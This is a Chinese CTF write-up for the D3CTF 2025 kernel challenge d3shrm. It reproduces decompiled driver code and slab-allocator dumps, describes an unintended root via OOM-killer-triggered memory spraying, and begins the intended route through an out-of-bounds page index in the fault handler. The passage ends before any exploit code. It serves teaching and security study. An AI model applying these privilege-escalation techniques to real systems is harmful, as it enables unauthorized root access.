D3CTF 2025 d3shrm

写在最前面

本来打完京麒 CTF 后就和自己说今年不要再打 CTF 了,可是这次是 a3 出题!那不得不打了,想起当年学 kernel 的时候有很长的一段时间都是看他的博客学的。这次 a3 出了两道 kernel 题(听说本来是有五道的),可能是出于难度的考虑,第一道 d2kheap2 非常的简单,直接 cross cache 然后 msg_msg 和 pipe_buffer 叠起来打 dirty pipe 就行了。当时和 cnitlrt 师傅几乎同时打通这题(打法也大差不差),可是成功率不怎么高再加上比赛刚开始远程卡的一批,远程打了两个小时才打通 :(,不过我们打远程前已经有队伍一血了,所以我们最后只拿了二血。

由于题目比较简单就不把那题丢博客上了,这篇博客讲的是另外一题 kernel 即 d3shrm。做这题的时候其实挺魔幻的,比赛开始那天晚上找了很久没有找到洞然后开摆睡觉去了,没想到第二天醒来已经到中午了。吃个饭继续找洞,又看了大半天,才发现自己漏看了 d3kshrm_vm_fault 这个函数🤡。然后写 poc 去调试,结果 poc 在运行时卡死了,然后弹出 root shell 了,于是开开心心的😀把 flag 交了拿了一血然后去外面聚餐了。

去聚餐的路上和 a3 师傅说了一下我的非预期,他也表示很懵逼,不过最后还是找到了原因,然后上了 revenge 版本🤡。可是当时我还在外面聚餐,来不及回来打了 😭(虽然回来也不一定能在这么短的时间内做出来)

关键函数伪代码

好了,说了那么多的废话,该回归正题了,这里还是先给出我认为比较重要的函数的 ida 伪代码(我恢复了部分符号)

init_module

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 __fastcall init_module(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6)
{
unsigned int v6; // ebx
__int64 v7; // rdx
__int64 v8; // rcx
__int64 v9; // r8
__int64 v10; // r9
char v12[32]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v13; // [rsp+20h] [rbp-10h]

v13 = __readgsqword(0x28u);
logger_internal((__int64)&unk_2356, a2, a3, a4, a5, a6, v12[0]);
v6 = 0;
proc_entry = proc_create("d3kshrm", 438LL, 0LL, &d3kshrm_ops);
if ( proc_entry )
{
memset(v12, 0, sizeof(v12));
d3kshrm_pages_cachep = ((__int64 (__fastcall *)(const char *, __int64, char *, __int64, __int64, __int64))_kmem_cache_create_args)(
"d3kshrm_cache",
0x1000LL,
v12,
256LL,
v9,
v10);
d3kshrm_lock = 0;
global_holder = 0;
}
else
{
logger_internal((__int64)&unk_1EF7, 438LL, v7, v8, v9, v10, v12[0]);
return (unsigned int)-14;
}
return v6;
}

d3kshrm_ioctl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
__int64 __fastcall d3kshrm_ioctl(__int64 a1, __int64 cmd, size_t a3)
{
__int64 v4; // rdx
__int64 v5; // rcx
__int64 v6; // r8
__int64 v7; // r9
d3 *v8; // r13
unsigned __int64 cpu_pcpu_hot; // r12
__int64 files_table; // rcx
int max_fds; // eax
int v12; // ebx
void *v13; // rdi
__int64 v14; // r15
d3 *v15; // r14
__int64 v16; // rdx
__int64 v17; // rcx
__int64 v18; // r8
__int64 v19; // r9
__int64 v20; // r14
__int64 v21; // rax
void *v22; // rdi
d3 *v23; // r12
unsigned __int64 v24; // r13
int v25; // eax
__int64 v26; // rsi
size_t *p_lock; // r15
__int64 v28; // rdx
__int64 v29; // rcx
__int64 v30; // r8
__int64 v31; // r9
size_t v32; // r15
__int64 v33; // rdx
__int64 v34; // rcx
__int64 v35; // r8
__int64 v36; // r9
d3 **v37; // r13
__int64 v38; // rsi
d3 *v39; // rax
__int64 v40; // rdx
struct page **pages_ptr; // rcx
__int64 v42; // r8
__int64 v43; // r9
d3 *v44; // r12
struct page **v45; // rax
__int64 v46; // rbp
__int64 v47; // rax
int v48; // eax
__int64 v49; // rcx
__int64 v50; // rdx
__int64 v51; // rcx
__int64 v52; // r8
__int64 v53; // r9
__int64 v54; // r14
__int64 v55; // r14
struct page *v56; // rdi
__int64 v57; // rcx
__int64 v58; // r8
__int64 v59; // r9
__int64 v60; // rcx
int v61; // eax
__int64 v62; // rcx
__int64 v63; // rcx
__int64 v64; // r8
__int64 v65; // r9
char v67; // [rsp+0h] [rbp-30h]

raw_spin_lock(&d3kshrm_lock);
if ( (int)cmd <= 0x746E6161 )
{
if ( (_DWORD)cmd != 0x3361626E )
{
if ( (_DWORD)cmd == 0x33746172 ) // 解绑进程
{
v8 = *(d3 **)(a1 + 0x20);
if ( v8 )
{
cpu_pcpu_hot = __readgsqword((unsigned int)&pcpu_hot);// 获取当前CPU的pcpu_hot
files_table = *(_QWORD *)(*(_QWORD *)(cpu_pcpu_hot + 0x7B0) + 32LL);// 从current->files获取文件表
max_fds = *(_DWORD *)files_table; // 读取 max_fds (文件描述符数量)
if ( *(_DWORD *)files_table )
{
files_table = *(_QWORD *)(files_table + 8);
v12 = 0;
while ( 1 )
{
v4 = v12;
if ( *(_QWORD *)(files_table + 8LL * v12) == a1 )
break;
if ( max_fds == ++v12 ) // 限制了fd的数量
goto LABEL_84;
}
if ( v12 >= 0 )
{
p_lock = (size_t *)&v8->lock;
raw_spin_lock(&v8->lock);
if ( v8->count >= 2 )
{
logger_internal((__int64)&unk_2237, cmd, v28, v29, v30, v31, v67);
LABEL_42:
raw_spin_unlock(p_lock);
v14 = -125LL;
goto LABEL_147;
}
v48 = *(_DWORD *)(cpu_pcpu_hot + 0x590);
_InterlockedDecrement(&v8->count);
if ( v8->slots[0].pid == v48 )
{
v49 = 0LL;
}
else
{
v49 = 1LL;
if ( v8->slots[1].pid != v48 )
{
v49 = 2LL;
if ( v8->slots[2].pid != v48 )
{
v49 = 3LL;
if ( v8->slots[3].pid != v48 )
{
v49 = 4LL;
if ( v8->slots[4].pid != v48 )
{
v49 = 5LL;
if ( v8->slots[5].pid != v48 )
{
v49 = 6LL;
if ( v8->slots[6].pid != v48 )
{
v49 = 7LL;
if ( v8->slots[7].pid != v48 )
{
v49 = 8LL;
if ( v8->slots[8].pid != v48 )
{
v49 = 9LL;
if ( v8->slots[9].pid != v48 )
{
v49 = 10LL;
if ( v8->slots[10].pid != v48 )
{
v49 = 11LL;
if ( v8->slots[11].pid != v48 )
{
v49 = 12LL;
if ( v8->slots[12].pid != v48 )
{
v49 = 13LL;
if ( v8->slots[13].pid != v48 )
{
v49 = 14LL;
if ( v8->slots[14].pid != v48 )
{
v49 = 15LL;
if ( v8->slots[15].pid != v48 )
{
logger_internal((__int64)&unk_22CC, cmd, v28, 15LL, v30, v31, v67);
_InterlockedIncrement(&v8->count);
LABEL_110:
*(_QWORD *)(a1 + 0x20) = 0LL;
raw_spin_unlock(&v8->lock);
logger_internal(
(__int64)&unk_2116,
(unsigned int)v12,
*(unsigned int *)(cpu_pcpu_hot + 1424),
v57,
v58,
v59,
v67);
LABEL_146:
v14 = 0LL;
goto LABEL_147;
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
_InterlockedDecrement(&v8->slots[v49].ref_count);
if ( !v8->slots[v49].ref_count )
v8->slots[v49].pid = 0;
goto LABEL_110;
}
}
LABEL_84:
logger_internal((__int64)&unk_1E9A, a1, v4, files_table, v6, v7, v67);
v14 = -14LL;
goto LABEL_147;
}
v22 = &unk_2098;
LABEL_44:
logger_internal((__int64)v22, cmd, v4, v5, v6, v7, v67);
v14 = -2LL;
goto LABEL_147;
}
goto LABEL_14;
}
if ( a3 - 0x201 < 0xFFFFFFFFFFFFFE00LL )
{
logger_internal((__int64)&unk_1C68, a3, v4, v5, v6, v7, v67);
goto LABEL_17;
}
v20 = 3LL; // 创建共享内存区域 (命令 862020206)
v21 = 0LL;
v5 = -24LL;
v4 = -16LL;
cmd = 0LL;
while ( 1 )
{
if ( !d3kshrm_arr[v20 - 3] )
{
v37 = &d3kshrm_arr[cmd];
v20 -= 3LL;
goto LABEL_53;
}
if ( !d3kshrm_arr[v20 - 2] )
{
v37 = &qword_1468 + cmd;
v20 -= 2LL;
goto LABEL_53;
}
if ( !d3kshrm_arr[v20 - 1] )
{
v37 = &qword_1470 + cmd;
--v20;
goto LABEL_53;
}
if ( !d3kshrm_arr[v20] )
break;
cmd += 4LL;
v20 += 4LL;
v21 += 4LL;
if ( v20 == 0x103 )
goto LABEL_62;
}
v37 = (d3 **)&(&qword_1478)[v21];
LABEL_53:
if ( !v37 )
{
LABEL_62:
v13 = &unk_1E6D;
goto LABEL_63;
}
v38 = 0x400DC0LL;
v39 = (d3 *)_kmalloc_cache_noprof(kmalloc_caches[2], 0x400DC0LL, 0xA0LL, -24LL);
v14 = -12LL;
if ( v39 )
{
v44 = v39;
v39->page_count = a3;
v38 = 0xCC0LL;
v45 = (struct page **)kmem_cache_alloc_noprof(d3kshrm_pages_cachep, 0xCC0LL);
v44->pages = v45;
if ( !v45 )
{
LABEL_91:
kfree(v44);
goto LABEL_92;
}
v38 = 0LL;
memset(v45, 0, 0x1000uLL);
if ( a3 )
{
v46 = 0LL;
while ( 1 )
{
v38 = 0LL;
v47 = alloc_pages_noprof(0xDC0LL, 0LL);
pages_ptr = v44->pages;
pages_ptr[v46] = (struct page *)v47;
if ( !v44->pages[v46] )
break;
if ( a3 == ++v46 )
goto LABEL_60;
}
v55 = 0LL;
do
{
v56 = v44->pages[v55];
if ( v56 )
_free_pages(v56, 0LL);
++v55;
}
while ( a3 != v55 );
v38 = (__int64)v44->pages;
kmem_cache_free(d3kshrm_pages_cachep, v38);
goto LABEL_91;
}
LABEL_60:
v44->slots[15] = 0LL;
v44->slots[14] = 0LL;
v44->slots[13] = 0LL;
v44->slots[12] = 0LL;
v44->slots[11] = 0LL;
v44->slots[10] = 0LL;
v44->slots[9] = 0LL;
v44->slots[8] = 0LL;
v44->slots[7] = 0LL;
v44->slots[6] = 0LL;
v44->slots[5] = 0LL;
v44->slots[4] = 0LL;
v44->slots[3] = 0LL;
v44->slots[2] = 0LL;
v44->slots[1] = 0LL;
v44->slots[0] = 0LL;
*(_QWORD *)&v44->lock = 0LL;
v44->slots[0].ref_count = 0;
v44->slots[1].ref_count = 0;
v44->slots[2].ref_count = 0;
v44->slots[3].ref_count = 0;
v44->slots[4].ref_count = 0;
v44->slots[5].ref_count = 0;
v44->slots[6].ref_count = 0;
v44->slots[7].ref_count = 0;
v44->slots[8].ref_count = 0;
v44->slots[9].ref_count = 0;
v44->slots[10].ref_count = 0;
v44->slots[11].ref_count = 0;
v44->slots[12].ref_count = 0;
v44->slots[13].ref_count = 0;
v44->slots[14].ref_count = 0;
v44->slots[15].ref_count = 0;
*(_QWORD *)&v44->total_ref = 0LL;
if ( (unsigned __int64)v44 <= 0xFFFFFFFFFFFFF000LL )
{
*(_QWORD *)&v44->total_ref = v37;
*v37 = v44;
v54 = (8 * v20) >> 3;
logger_internal((__int64)&unk_1DE1, v54, v40, (__int64)pages_ptr, v42, v43, v67);
v14 = v54;
goto LABEL_147;
}
v14 = (__int64)v44;
}
LABEL_92:
logger_internal((__int64)&unk_1C95, v38, v40, (__int64)pages_ptr, v42, v43, v67);
goto LABEL_147;
}
if ( (_DWORD)cmd == 0x746E6162 ) // 解绑
{
if ( *(_QWORD *)(a1 + 32) )
{
v13 = &unk_1E1B;
goto LABEL_63;
}
if ( a3 > 0xFF || (v23 = d3kshrm_arr[a3]) == 0LL )
{
v22 = &unk_2076;
goto LABEL_44;
}
v24 = __readgsqword((unsigned int)&pcpu_hot);
files_table = *(_QWORD *)(*(_QWORD *)(v24 + 1968) + 32LL);
v25 = *(_DWORD *)files_table;
if ( !*(_DWORD *)files_table )
goto LABEL_84;
v4 = *(_QWORD *)(files_table + 8);
files_table = 0LL;
while ( 1 )
{
v26 = (int)files_table;
if ( *(_QWORD *)(v4 + 8LL * (int)files_table) == a1 )
break;
files_table = (unsigned int)(files_table + 1);
if ( v25 == (_DWORD)files_table )
goto LABEL_84;
}
if ( (int)files_table < 0 )
goto LABEL_84;
p_lock = (size_t *)&v23->lock;
raw_spin_lock(&v23->lock);
if ( v23->slots[0].pid )
{
if ( v23->slots[1].pid )
{
if ( v23->slots[2].pid )
{
if ( v23->slots[3].pid )
{
if ( v23->slots[4].pid )
{
if ( v23->slots[5].pid )
{
if ( v23->slots[6].pid )
{
if ( v23->slots[7].pid )
{
if ( v23->slots[8].pid )
{
if ( v23->slots[9].pid )
{
if ( v23->slots[10].pid )
{
if ( v23->slots[11].pid )
{
if ( v23->slots[12].pid )
{
if ( v23->slots[13].pid )
{
if ( v23->slots[14].pid )
{
if ( v23->slots[15].pid )
{
logger_internal((__int64)&unk_1F93, a3, v50, v51, v52, v53, v67);
goto LABEL_42;
}
v60 = 15LL;
}
else
{
v60 = 14LL;
}
}
else
{
v60 = 13LL;
}
}
else
{
v60 = 12LL;
}
}
else
{
v60 = 11LL;
}
}
else
{
v60 = 10LL;
}
}
else
{
v60 = 9LL;
}
}
else
{
v60 = 8LL;
}
}
else
{
v60 = 7LL;
}
}
else
{
v60 = 6LL;
}
}
else
{
v60 = 5LL;
}
}
else
{
v60 = 4LL;
}
}
else
{
v60 = 3LL;
}
}
else
{
v60 = 2LL;
}
}
else
{
v60 = 1LL;
}
}
else
{
v60 = 0LL;
}
v61 = *(_DWORD *)(v24 + 1424);
v23->slots[v60].pid = v61;
_InterlockedIncrement(&v23->count);
if ( v23->slots[0].pid == v61 )
{
v62 = 0LL;
}
else
{
v62 = 1LL;
if ( v23->slots[1].pid != v61 )
{
v62 = 2LL;
if ( v23->slots[2].pid != v61 )
{
v62 = 3LL;
if ( v23->slots[3].pid != v61 )
{
v62 = 4LL;
if ( v23->slots[4].pid != v61 )
{
v62 = 5LL;
if ( v23->slots[5].pid != v61 )
{
v62 = 6LL;
if ( v23->slots[6].pid != v61 )
{
v62 = 7LL;
if ( v23->slots[7].pid != v61 )
{
v62 = 8LL;
if ( v23->slots[8].pid != v61 )
{
v62 = 9LL;
if ( v23->slots[9].pid != v61 )
{
v62 = 10LL;
if ( v23->slots[10].pid != v61 )
{
v62 = 11LL;
if ( v23->slots[11].pid != v61 )
{
v62 = 12LL;
if ( v23->slots[12].pid != v61 )
{
v62 = 13LL;
if ( v23->slots[13].pid != v61 )
{
v62 = 14LL;
if ( v23->slots[14].pid != v61 )
{
v62 = 15LL;
if ( v23->slots[15].pid != v61 )
{
logger_internal((__int64)&unk_2384, v26, v50, 15LL, v52, v53, v67);
_InterlockedDecrement(&v23->count);
goto LABEL_145;
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
_InterlockedIncrement(&v23->slots[v62].ref_count);
LABEL_145:
*(_QWORD *)(a1 + 32) = v23;
raw_spin_unlock(&v23->lock);
logger_internal((__int64)&unk_1CCA, *(unsigned int *)(v24 + 1424), a3, v63, v64, v65, v67);
goto LABEL_146;
}
if ( (_DWORD)cmd != 0x74747261 )
{
LABEL_14:
logger_internal((__int64)&unk_200E, cmd, v4, v5, v6, v7, v67);
LABEL_17:
v14 = -22LL;
goto LABEL_147;
}
if ( a3 >= 0x100 )
{
v13 = &unk_1DB7;
LABEL_63:
logger_internal((__int64)v13, cmd, v4, v5, v6, v7, v67);
v14 = -1LL;
goto LABEL_147;
}
v15 = d3kshrm_arr[a3];
if ( !v15 )
{
v22 = &unk_1F3C;
goto LABEL_44;
}
raw_spin_lock(&v15->lock);
if ( !v15->count )
{
**(_QWORD **)&v15->total_ref = 0LL;
raw_spin_unlock(&v15->lock);
if ( v15->page_count )
{
v32 = 0LL;
do
_free_pages(v15->pages[v32++], 0LL);
while ( v32 < v15->page_count );
}
kmem_cache_free(d3kshrm_pages_cachep, v15->pages);
kfree(v15);
logger_internal((__int64)&unk_1F65, a3, v33, v34, v35, v36, v67);
goto LABEL_146;
}
logger_internal((__int64)&unk_21B8, cmd, v16, v17, v18, v19, v67);
raw_spin_unlock(&v15->lock);
v14 = -1LL;
LABEL_147:
raw_spin_unlock(&d3kshrm_lock);
return v14;
}

d3kshrm_release

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
__int64 __fastcall d3kshrm_release(__int64 a1, __int64 a2)
{
d3 *v2; // r15
__int64 v3; // rdx
__int64 v4; // r8
__int64 v5; // r9
int v6; // eax
__int64 v7; // rcx
char v9; // [rsp+0h] [rbp-18h]

v2 = *(d3 **)(a2 + 32);
if ( v2 )
{
raw_spin_lock(&v2->lock);
v6 = *(_DWORD *)(__readgsqword((unsigned int)&pcpu_hot) + 1424);
_InterlockedDecrement((volatile signed __int32 *)&v2->lock + 1);
if ( v2->slots[0].pid == v6 )
{
v7 = 0LL;
}
else
{
v7 = 1LL;
if ( v2->slots[1].pid != v6 )
{
v7 = 2LL;
if ( v2->slots[2].pid != v6 )
{
v7 = 3LL;
if ( v2->slots[3].pid != v6 )
{
v7 = 4LL;
if ( v2->slots[4].pid != v6 )
{
v7 = 5LL;
if ( v2->slots[5].pid != v6 )
{
v7 = 6LL;
if ( v2->slots[6].pid != v6 )
{
v7 = 7LL;
if ( v2->slots[7].pid != v6 )
{
v7 = 8LL;
if ( v2->slots[8].pid != v6 )
{
v7 = 9LL;
if ( v2->slots[9].pid != v6 )
{
v7 = 10LL;
if ( v2->slots[10].pid != v6 )
{
v7 = 11LL;
if ( v2->slots[11].pid != v6 )
{
v7 = 12LL;
if ( v2->slots[12].pid != v6 )
{
v7 = 13LL;
if ( v2->slots[13].pid != v6 )
{
v7 = 14LL;
if ( v2->slots[14].pid != v6 )
{
v7 = 15LL;
if ( v2->slots[15].pid != v6 )
{
logger_internal((__int64)&unk_22CC, a2, v3, 15LL, v4, v5, v9);
_InterlockedIncrement((volatile signed __int32 *)&v2->lock + 1);
LABEL_21:
raw_spin_unlock(&v2->lock);
*(_QWORD *)(a2 + 32) = 0LL;
goto LABEL_22;
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
_InterlockedDecrement(&v2->slots[v7].ref_count);
if ( !v2->slots[v7].ref_count )
v2->slots[v7].pid = 0;
goto LABEL_21;
}
LABEL_22:
_InterlockedDecrement(&global_holder);
return 0LL;
}

d3kshrm_mmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
__int64 __fastcall d3kshrm_mmap(__int64 a1, _QWORD *a2)
{
__int64 v2; // rdx
__int64 v3; // rcx
__int64 v4; // r8
__int64 v5; // r9
d3 *v6; // r15
unsigned int v7; // r14d
__int64 v8; // rdx
__int64 v9; // rcx
__int64 v10; // r8
__int64 v11; // r9
int v12; // eax
__int64 v13; // rcx
char v15; // [rsp+0h] [rbp-18h]

raw_spin_lock(&d3kshrm_lock);
v6 = *(d3 **)(a1 + 32);
if ( !v6 )
{
logger_internal((__int64)&unk_2040, (__int64)a2, v2, v3, v4, v5, v15);
v7 = -2;
goto LABEL_26;
}
if ( !a2[15] )
{
raw_spin_lock(&v6->lock);
if ( (a2[1] - *a2) >> 12 <= v6->page_count )
{
a2[14] = &d3kshrm_vm_ops;
a2[17] = v6;
v12 = *(_DWORD *)(__readgsqword((unsigned int)&pcpu_hot) + 1424);
_InterlockedIncrement(&v6->count);
v7 = 0;
if ( v6->slots[0].pid == v12 )
{
v13 = 0LL;
}
else
{
v13 = 1LL;
if ( v6->slots[1].pid != v12 )
{
v13 = 2LL;
if ( v6->slots[2].pid != v12 )
{
v13 = 3LL;
if ( v6->slots[3].pid != v12 )
{
v13 = 4LL;
if ( v6->slots[4].pid != v12 )
{
v13 = 5LL;
if ( v6->slots[5].pid != v12 )
{
v13 = 6LL;
if ( v6->slots[6].pid != v12 )
{
v13 = 7LL;
if ( v6->slots[7].pid != v12 )
{
v13 = 8LL;
if ( v6->slots[8].pid != v12 )
{
v13 = 9LL;
if ( v6->slots[9].pid != v12 )
{
v13 = 10LL;
if ( v6->slots[10].pid != v12 )
{
v13 = 11LL;
if ( v6->slots[11].pid != v12 )
{
v13 = 12LL;
if ( v6->slots[12].pid != v12 )
{
v13 = 13LL;
if ( v6->slots[13].pid != v12 )
{
v13 = 14LL;
if ( v6->slots[14].pid != v12 )
{
v13 = 15LL;
if ( v6->slots[15].pid != v12 )
{
logger_internal((__int64)&unk_2384, (__int64)a2, v8, 15LL, v10, v11, v15);
_InterlockedDecrement(&v6->count);
v7 = 0;
goto LABEL_25;
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
_InterlockedIncrement(&v6->slots[v13].ref_count);
}
else
{
logger_internal((__int64)&unk_1D14, (__int64)a2, v8, v9, v10, v11, v15);
v7 = -125;
}
LABEL_25:
raw_spin_unlock(&v6->lock);
goto LABEL_26;
}
logger_internal((__int64)&unk_21F8, (__int64)a2, v2, v3, v4, v5, v15);
v7 = -125;
LABEL_26:
raw_spin_unlock(&d3kshrm_lock);
return v7;
}

d3kshrm_vm_close

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
__int64 __fastcall d3kshrm_vm_close(__int64 a1, __int64 a2)
{
d3 *v2; // r14
__int64 v3; // rdx
__int64 v4; // r8
__int64 v5; // r9
int v6; // eax
__int64 v7; // rcx
char v9; // [rsp+0h] [rbp-10h]

v2 = *(d3 **)(a1 + 136);
raw_spin_lock(&v2->lock);
v6 = *(_DWORD *)(__readgsqword((unsigned int)&pcpu_hot) + 1424);
_InterlockedDecrement(&v2->count);
if ( v2->slots[0].pid == v6 )
{
v7 = 0LL;
}
else
{
v7 = 1LL;
if ( v2->slots[1].pid != v6 )
{
v7 = 2LL;
if ( v2->slots[2].pid != v6 )
{
v7 = 3LL;
if ( v2->slots[3].pid != v6 )
{
v7 = 4LL;
if ( v2->slots[4].pid != v6 )
{
v7 = 5LL;
if ( v2->slots[5].pid != v6 )
{
v7 = 6LL;
if ( v2->slots[6].pid != v6 )
{
v7 = 7LL;
if ( v2->slots[7].pid != v6 )
{
v7 = 8LL;
if ( v2->slots[8].pid != v6 )
{
v7 = 9LL;
if ( v2->slots[9].pid != v6 )
{
v7 = 10LL;
if ( v2->slots[10].pid != v6 )
{
v7 = 11LL;
if ( v2->slots[11].pid != v6 )
{
v7 = 12LL;
if ( v2->slots[12].pid != v6 )
{
v7 = 13LL;
if ( v2->slots[13].pid != v6 )
{
v7 = 14LL;
if ( v2->slots[14].pid != v6 )
{
v7 = 15LL;
if ( v2->slots[15].pid != v6 )
{
logger_internal((__int64)&unk_22CC, a2, v3, 15LL, v4, v5, v9);
_InterlockedIncrement(&v2->count);
return raw_spin_unlock(&v2->lock);
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
_InterlockedDecrement(&v2->slots[v7].ref_count);
if ( !v2->slots[v7].ref_count )
v2->slots[v7].pid = 0;
return raw_spin_unlock(&v2->lock);
}

d3kshrm_vm_fault

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 __fastcall d3kshrm_vm_fault(_QWORD *vmf)
{
d3 *v1; // r15
size_t pgoff; // rax
unsigned int v3; // ebp
struct page *v4; // rax
__int64 v5; // rcx
// struct vm_fault vmf
v1 = *(d3 **)(*vmf
+ 136LL);
raw_spin_lock(&v1->lock);
pgoff = vmf[2];
v3 = 2;
if ( pgoff <= v1->page_count )
{
v4 = v1->pages[pgoff];
v5 = *((_QWORD *)v4 + 1);
if ( (v5 & 1) != 0 )
v4 = (struct page *)(v5 - 1);
if ( *((unsigned __int8 *)v4 + 51) << 24 == 0xF5000000 )
BUG();
_InterlockedIncrement((volatile signed __int32 *)v4 + 0xD);
vmf[10] = v1->pages[vmf[2]]; // vmf->page = v1->pages[pgoff];
v3 = 0;
}
raw_spin_unlock(&v1->lock);
return v3;
}

非预期

还是先说一下我的非预期,我当时是打算用喷大量的页来进行堆布局然后调试 d3kshrm_vm_fault 函数的,结果喷着喷着就 root 了😀
这里给出我当时打远程的时候的截图:

经过 a3 师傅的研究最后得出的结论(原话):

rcS被kill掉之后系统会起一个root shell
所以是大量内存分配触发oom killer杀掉了rcS
这个是内存回收成功的情况,另外一种情况是oom killer如果选择不杀的话就会导致kernel panic,这个一般是预期情况
准确的说是启动了/bin/ash,这个配置来自于/etc/inittab的askfirst

预期做法

非预期没什么意思,除了拿到 flag 和一血以外还有什么用呢😡,还是来看看预期做法吧:)

这里先给出几个结构体(手动逆的,不保证正确):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct slot{
int pid; // 绑定到此槽位的进程ID
int ref_count; // 此槽位的引用计数
};


struct d3{
struct slot slots[16]; // 16个进程槽位
size_t page_count; // 分配的物理页数量
struct page **pages; // 物理页指针数组
int lock; // 自旋锁
int count; // 绑定进程计数
int total_ref; // 总引用计数
};

驱动的功能自己简单逆一下就知道了,这里就不做解释 :)

该驱动在 init_module 函数中自定义了一个 kmem_cache(d3kshrm_cache),每个 object 的大小为 0x1000,每个 slab 占用 8 个 page,也就是说每个 slab 里面可以存放 8 个 object

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
kmem_cache: 0xffff8e73412b3900
name: biovec-max
flags: 0x10110 (SLAB_STORE_USER | SLAB_CONSISTENCY_CHECKS)
object size: 0x1000 (chunk size: 0x1000)
offset (next pointer in chunk): 0x800
random (xor key): 0x82e62d6c8bb1b73d ^ byteswap(&chunk->next)
red_left_pad: 0x0
kmem_cache_cpu (cpu0): 0xffff8e7345032ab0
active page: 0xfffff06440063400
virtual address: 0xffff8e73418d0000
num pages: 8
in-use: 2/8
frozen: 1
layout: 0x000 0xffff8e73418d0000 (next: 0x0)
0x001 0xffff8e73418d1000 (next: 0xffff8e73418d7000)
0x002 0xffff8e73418d2000 (in-use)
0x003 0xffff8e73418d3000 (in-use)
0x004 0xffff8e73418d4000 (next: 0xffff8e73418d0000)
0x005 0xffff8e73418d5000 (next: 0xffff8e73418d4000)
0x006 0xffff8e73418d6000 (next: 0xffff8e73418d1000)
0x007 0xffff8e73418d7000 (next: 0xffff8e73418d5000)
freelist (fast path):
0x006 0xffff8e73418d6000
0x001 0xffff8e73418d1000
0x007 0xffff8e73418d7000
0x005 0xffff8e73418d5000
0x004 0xffff8e73418d4000
0x000 0xffff8e73418d0000
freelist (slow path): (none)

而 d3 结构体中的 page 结构体就是在这个 kmem_cache 中进行分配的

这个 page_obj 用来存储 kernel 中的 page 结构体指针,且最多存储 0x200 个,即刚好把 page_obj 所有的空间用完。驱动在向 pages 分配 page 指针前做了检测,无法溢出

1
2
3
4
5
if ( a3 - 0x201 < 0xFFFFFFFFFFFFFE00LL )
{
